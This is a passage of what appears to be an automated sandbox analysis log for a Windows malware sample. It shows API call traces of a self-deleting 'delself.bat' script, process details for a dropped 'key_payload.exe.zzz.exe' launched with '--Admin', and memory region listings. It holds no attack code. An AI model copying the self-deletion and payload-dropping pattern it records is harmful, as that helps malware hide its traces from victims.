(_String1="IF/?", _String2="del") returned 5 [0202.157] _wcsicmp (_String1="REM", _String2="del") returned 14 [0202.157] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0202.157] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.157] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcf [0202.157] ReadFile (in: hFile=0xb4, lpBuffer=0x23a960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x4c7f024, lpOverlapped=0x0 | out: lpBuffer=0x23a960*, lpNumberOfBytesRead=0x4c7f024*=0x0, lpOverlapped=0x0) returned 1 [0202.157] GetLastError () returned 0x0 [0202.157] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.157] GetFileType (hFile=0xb4) returned 0x1 [0202.157] _get_osfhandle (_FileHandle=3) returned 0xb4 [0202.157] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcf [0202.157] _tell (_FileHandle=3) returned 207 [0202.157] _close (_FileHandle=3) returned 0 [0202.157] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0202.158] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0202.158] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0202.158] GetConsoleTitleW (in: lpConsoleTitle=0x4c7ed10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0202.159] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0202.159] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0202.159] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0202.160] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4c7eab8 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.160] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x4c7db28 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.160] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4c7dd5c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x4c7dd60, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x4c7dd5c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0202.160] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0202.160] _wcsicmp (_String1="delself.bat", _String2=".") returned 54 [0202.160] _wcsicmp (_String1="delself.bat", _String2="..") returned 54 [0202.160] GetFileAttributesW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat")) returned 0x20 [0202.160] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4e9c3e0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0202.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", nBufferLength=0x104, lpBuffer=0x4c7e188, lpFilePart=0x4c7e15c | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", lpFilePart=0x4c7e15c*="delself.bat") returned 0x30 [0202.160] SetErrorMode (uMode=0x8001) returned 0x1 [0202.161] GetFileAttributesW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp")) returned 0x10 [0202.161] _wcsicmp (_String1="delself.bat", _String2=".") returned 54 [0202.161] _wcsicmp (_String1="delself.bat", _String2="..") returned 54 [0202.161] GetFileAttributesW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat")) returned 0x20 [0202.161] FindFirstFileExW (in: lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", fInfoLevelId=0x0, lpFindFileData=0x4e9c91c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4e9c91c) returned 0x4e9d120 [0202.161] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0202.161] NtOpenFile (in: FileHandle=0x4c7e05c, DesiredAccess=0x10000, ObjectAttributes=0x4c7e024*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x4c7e04c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x4c7e05c*=0xb0, IoStatusBlock=0x4c7e04c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0202.161] RtlReleaseRelativeName () returned 0x4c7e03c [0202.161] RtlFreeAnsiString (AnsiString="\\") [0202.161] NtQueryVolumeInformationFile (in: FileHandle=0xb0, IoStatusBlock=0x4c7df88, FsInformation=0x4c7df90, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x4c7df88, FsInformation=0x4c7df90) returned 0x0 [0202.161] CloseHandle (hObject=0xb0) returned 1 [0202.162] FindNextFileW (in: hFindFile=0x4e9d120, lpFindFileData=0x4e9c91c | out: lpFindFileData=0x4e9c91c) returned 0 [0202.162] GetLastError () returned 0x12 [0202.162] FindClose (in: hFindFile=0x4e9d120 | out: hFindFile=0x4e9d120) returned 1 [0202.163] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.163] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0202.164] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.164] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0202.165] _get_osfhandle (_FileHandle=0) returned 0x38 [0202.165] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0202.166] SetConsoleInputExeNameW () returned 0x1 [0202.166] GetConsoleOutputCP () returned 0x1b5 [0202.166] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0202.167] SetThreadUILanguage (LangId=0x0) returned 0x409 [0202.176] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4c7f15c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.176] GetLastError () returned 0x2 [0202.176] _get_osfhandle (_FileHandle=2) returned 0x40 [0202.176] GetFileType (hFile=0x40) returned 0x2 [0202.176] GetStdHandle (nStdHandle=0xfffffff4) returned 0x40 [0202.176] GetConsoleMode (in: hConsoleHandle=0x40, lpMode=0x4c7f0f4 | out: lpMode=0x4c7f0f4) returned 1 [0202.178] _get_osfhandle (_FileHandle=2) returned 0x40 [0202.178] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x40, lpConsoleScreenBufferInfo=0x4c7f144 | out: lpConsoleScreenBufferInfo=0x4c7f144) returned 1 [0202.180] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x236940, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0202.407] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x236940, nSize=0x2000, Arguments=0x4c7f174 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0202.407] WriteConsoleW (in: hConsoleOutput=0x40, lpBuffer=0x236940*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x4c7f128, lpReserved=0x0 | out: lpBuffer=0x236940*, lpNumberOfCharsWritten=0x4c7f128*=0x21) returned 1 [0202.408] CmdBatNotificationStub () returned 0x1 [0202.408] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.409] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0202.409] _get_osfhandle (_FileHandle=1) returned 0x3c [0202.409] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x22e40c | out: lpMode=0x22e40c) returned 1 [0202.410] _get_osfhandle (_FileHandle=0) returned 0x38 [0202.410] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x22e408 | out: lpMode=0x22e408) returned 1 [0202.411] SetConsoleInputExeNameW () returned 0x1 [0202.411] GetConsoleOutputCP () returned 0x1b5 [0202.415] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x22e460 | out: lpCPInfo=0x22e460) returned 1 [0202.415] SetThreadUILanguage (LangId=0x0) returned 0x409 [0202.418] exit (_Code=1) Thread: id = 29 os_tid = 0xc28 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x58234000" os_pid = "0xf98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf8c" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 387 start_va = 0x7f457000 end_va = 0x7f457fff entry_point = 0x0 region_type = private name = "private_0x000000007f457000" filename = "" Region: id = 388 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 389 start_va = 0xb3ff840000 end_va = 0xb3ff85ffff entry_point = 0x0 region_type = private name = "private_0x000000b3ff840000" filename = "" Region: id = 390 start_va = 0xb3ff860000 end_va = 0xb3ff873fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3ff860000" filename = "" Region: id = 391 start_va = 0xb3ff880000 end_va = 0xb3ff8bffff entry_point = 0x0 region_type = private name = "private_0x000000b3ff880000" filename = "" Region: id = 392 start_va = 0x7df5ff650000 end_va = 0x7ff5ff64ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff650000" filename = "" Region: id = 393 start_va = 0x7ff7fd430000 end_va = 0x7ff7fd452fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7fd430000" filename = "" Region: id = 394 start_va = 0x7ff7fd459000 end_va = 0x7ff7fd459fff entry_point = 0x0 region_type = private name = "private_0x00007ff7fd459000" filename = "" Region: id = 395 start_va = 0x7ff7fd45e000 end_va = 0x7ff7fd45ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7fd45e000" filename = "" Region: id = 396 start_va = 0x7ff7fd4c0000 end_va = 0x7ff7fd4d0fff entry_point = 0x7ff7fd4c0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 397 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 412 start_va = 0xb3ff930000 end_va = 0xb3ffa2ffff entry_point = 0x0 region_type = private name = "private_0x000000b3ff930000" filename = "" Region: id = 413 start_va = 0x7ffaf4e50000 end_va = 0x7ffaf502cfff entry_point = 0x7ffaf4e50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 414 start_va = 0x7ffaf70d0000 end_va = 0x7ffaf717cfff entry_point = 0x7ffaf70d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 432 start_va = 0xb3ff840000 end_va = 0xb3ff84ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3ff840000" filename = "" Region: id = 433 start_va = 0xb3ff8c0000 end_va = 0xb3ff8fffff entry_point = 0x0 region_type = private name = "private_0x000000b3ff8c0000" filename = "" Region: id = 434 start_va = 0xb3ffa30000 end_va = 0xb3ffaedfff entry_point = 0xb3ffa30000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 435 start_va = 0x7ff7fd330000 end_va = 0x7ff7fd42ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7fd330000" filename = "" Region: id = 436 start_va = 0x7ff7fd45c000 end_va = 0x7ff7fd45dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7fd45c000" filename = "" Region: id = 437 start_va = 0x7ffaf5700000 end_va = 0x7ffaf579cfff entry_point = 0x7ffaf5700000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 439 start_va = 0xb3ff850000 end_va = 0xb3ff856fff entry_point = 0x0 region_type = private name = "private_0x000000b3ff850000" filename = "" Region: id = 440 start_va = 0xb3ff900000 end_va = 0xb3ff900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3ff900000" filename = "" Region: id = 441 start_va = 0xb3ff910000 end_va = 0xb3ff916fff entry_point = 0x0 region_type = private name = "private_0x000000b3ff910000" filename = "" Region: id = 442 start_va = 0xb3ffb30000 end_va = 0xb3ffb3ffff entry_point = 0x0 region_type = private name = "private_0x000000b3ffb30000" filename = "" Region: id = 443 start_va = 0x7ffaed340000 end_va = 0x7ffaed392fff entry_point = 0x7ffaed340000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 444 start_va = 0x7ffaf1040000 end_va = 0x7ffaf11c2fff entry_point = 0x7ffaf1040000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 445 start_va = 0x7ffaf5140000 end_va = 0x7ffaf528dfff entry_point = 0x7ffaf5140000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 446 start_va = 0x7ffaf5290000 end_va = 0x7ffaf53b5fff entry_point = 0x7ffaf5290000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 447 start_va = 0x7ffaf53c0000 end_va = 0x7ffaf53f5fff entry_point = 0x7ffaf53c0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 448 start_va = 0x7ffaf55b0000 end_va = 0x7ffaf56f0fff entry_point = 0x7ffaf55b0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 449 start_va = 0x7ffaf57a0000 end_va = 0x7ffaf57fafff entry_point = 0x7ffaf57a0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 450 start_va = 0x7ffaf5800000 end_va = 0x7ffaf5984fff entry_point = 0x7ffaf5800000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 451 start_va = 0x7ffaf6f70000 end_va = 0x7ffaf70cbfff entry_point = 0x7ffaf6f70000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 452 start_va = 0x7ffaf7190000 end_va = 0x7ffaf724dfff entry_point = 0x7ffaf7190000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 453 start_va = 0x7ffaf72e0000 end_va = 0x7ffaf755bfff entry_point = 0x7ffaf72e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 467 start_va = 0xb380000000 end_va = 0xb3813fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b380000000" filename = "" Region: id = 468 start_va = 0xb3ff920000 end_va = 0xb3ff920fff entry_point = 0x0 region_type = private name = "private_0x000000b3ff920000" filename = "" Region: id = 469 start_va = 0xb3ffaf0000 end_va = 0xb3ffaf0fff entry_point = 0x0 region_type = private name = "private_0x000000b3ffaf0000" filename = "" Region: id = 470 start_va = 0xb3ffb40000 end_va = 0xb3ffcc7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3ffb40000" filename = "" Region: id = 471 start_va = 0xb3ffcd0000 end_va = 0xb3ffe50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3ffcd0000" filename = "" Region: id = 472 start_va = 0xb3ffe60000 end_va = 0xb3ffe9ffff entry_point = 0x0 region_type = private name = "private_0x000000b3ffe60000" filename = "" Region: id = 473 start_va = 0xb3fffd0000 end_va = 0xb3fffdffff entry_point = 0x0 region_type = private name = "private_0x000000b3fffd0000" filename = "" Region: id = 474 start_va = 0x7ff7fd45a000 end_va = 0x7ff7fd45bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7fd45a000" filename = "" Region: id = 475 start_va = 0x7ffaf4440000 end_va = 0x7ffaf4489fff entry_point = 0x7ffaf4440000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 476 start_va = 0x7ffaf4490000 end_va = 0x7ffaf44a2fff entry_point = 0x7ffaf4490000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 477 start_va = 0x7ffaf44d0000 end_va = 0x7ffaf44defff entry_point = 0x7ffaf44d0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 478 start_va = 0x7ffaf4590000 end_va = 0x7ffaf4bb7fff entry_point = 0x7ffaf4590000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 479 start_va = 0x7ffaf4bc0000 end_va = 0x7ffaf4c72fff entry_point = 0x7ffaf4bc0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 480 start_va = 0x7ffaf5990000 end_va = 0x7ffaf6eb4fff entry_point = 0x7ffaf5990000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 481 start_va = 0x7ffaf75d0000 end_va = 0x7ffaf7675fff entry_point = 0x7ffaf75d0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 482 start_va = 0x7ffaf7860000 end_va = 0x7ffaf78b0fff entry_point = 0x7ffaf7860000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 506 start_va = 0x7ffaf2d10000 end_va = 0x7ffaf2da5fff entry_point = 0x7ffaf2d10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 574 start_va = 0xb381400000 end_va = 0xb38150bfff entry_point = 0x0 region_type = private name = "private_0x000000b381400000" filename = "" Region: id = 575 start_va = 0xb381510000 end_va = 0xb38154ffff entry_point = 0x0 region_type = private name = "private_0x000000b381510000" filename = "" Region: id = 576 start_va = 0xb381550000 end_va = 0xb381553fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b381550000" filename = "" Region: id = 577 start_va = 0xb381560000 end_va = 0xb38159ffff entry_point = 0x0 region_type = private name = "private_0x000000b381560000" filename = "" Region: id = 578 start_va = 0xb3815e0000 end_va = 0xb3815effff entry_point = 0x0 region_type = private name = "private_0x000000b3815e0000" filename = "" Region: id = 579 start_va = 0xb3815f0000 end_va = 0xb381926fff entry_point = 0xb3815f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 580 start_va = 0xb381930000 end_va = 0xb381b41fff entry_point = 0x0 region_type = private name = "private_0x000000b381930000" filename = "" Region: id = 581 start_va = 0xb381b50000 end_va = 0xb381d64fff entry_point = 0x0 region_type = private name = "private_0x000000b381b50000" filename = "" Region: id = 582 start_va = 0xb381d70000 end_va = 0xb381f84fff entry_point = 0x0 region_type = private name = "private_0x000000b381d70000" filename = "" Region: id = 583 start_va = 0xb381f90000 end_va = 0xb38209ffff entry_point = 0x0 region_type = private name = "private_0x000000b381f90000" filename = "" Region: id = 584 start_va = 0xb3820a0000 end_va = 0xb382157fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3820a0000" filename = "" Region: id = 585 start_va = 0x7ff7fd45e000 end_va = 0x7ff7fd45ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7fd45e000" filename = "" Region: id = 586 start_va = 0x7ffaf24b0000 end_va = 0x7ffaf24d1fff entry_point = 0x7ffaf24b0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 587 start_va = 0x7ffaf2a00000 end_va = 0x7ffaf2a12fff entry_point = 0x7ffaf2a00000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 588 start_va = 0x7ffaf35e0000 end_va = 0x7ffaf3637fff entry_point = 0x7ffaf35e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 596 start_va = 0xb3815a0000 end_va = 0xb3815a6fff entry_point = 0x0 region_type = private name = "private_0x000000b3815a0000" filename = "" Region: id = 597 start_va = 0xb3815b0000 end_va = 0xb3815b4fff entry_point = 0xb3815b0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 598 start_va = 0xb3815c0000 end_va = 0xb3815c0fff entry_point = 0xb3815c0000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 599 start_va = 0xb3815d0000 end_va = 0xb3815d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b3815d0000" filename = "" Region: id = 600 start_va = 0x7ffaecc30000 end_va = 0x7ffaecea3fff entry_point = 0x7ffaecc30000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Thread: id = 14 os_tid = 0xf9c Thread: id = 18 os_tid = 0xfac Thread: id = 22 os_tid = 0xfbc Thread: id = 25 os_tid = 0xfd0 Thread: id = 27 os_tid = 0xffc Process: id = "5" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe" page_root = "0x11b56000" os_pid = "0xfc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xf84" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 483 start_va = 0xa50000 end_va = 0xa6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 484 start_va = 0xa70000 end_va = 0xa71fff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 485 start_va = 0xa80000 end_va = 0xa93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 486 start_va = 0xaa0000 end_va = 0xadffff entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 487 start_va = 0xae0000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 488 start_va = 0xbe0000 end_va = 0xbe3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 489 start_va = 0xbf0000 end_va = 0xbf2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 490 start_va = 0xc00000 end_va = 0xc01fff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 491 start_va = 0x1110000 end_va = 0x13eefff entry_point = 0x1110000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe") Region: id = 492 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 493 start_va = 0x7f3e0000 end_va = 0x7f402fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f3e0000" filename = "" Region: id = 494 start_va = 0x7f403000 end_va = 0x7f403fff entry_point = 0x0 region_type = private name = "private_0x000000007f403000" filename = "" Region: id = 495 start_va = 0x7f40a000 end_va = 0x7f40cfff entry_point = 0x0 region_type = private name = "private_0x000000007f40a000" filename = "" Region: id = 496 start_va = 0x7f40d000 end_va = 0x7f40dfff entry_point = 0x0 region_type = private name = "private_0x000000007f40d000" filename = "" Region: id = 497 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 498 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 499 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 500 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 501 start_va = 0xdc0000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 502 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 503 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 504 start_va = 0xc30000 end_va 